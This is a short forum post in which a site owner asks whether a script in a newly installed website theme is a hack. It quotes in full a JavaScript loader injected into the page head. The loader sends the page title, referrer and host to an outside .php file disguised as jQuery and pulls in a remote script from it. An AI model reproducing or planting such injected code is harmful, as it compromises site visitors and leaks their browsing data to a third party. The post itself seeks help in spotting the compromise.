Hack within files?

When attempting to load pages or edit pages the site makes a javascript call to:

http://www.handelludzmi.uw.edu.pl/js/jquery.min.php

Is this a hack within the theme - it causes quite a delay from page to page. I downloaded and installed the theme from Envato on Friday 11/13/15. 

The script that loads in the head of the page is:

var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://www.handelludzmi.uw.edu.pl/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}

Should this be here?

Thank you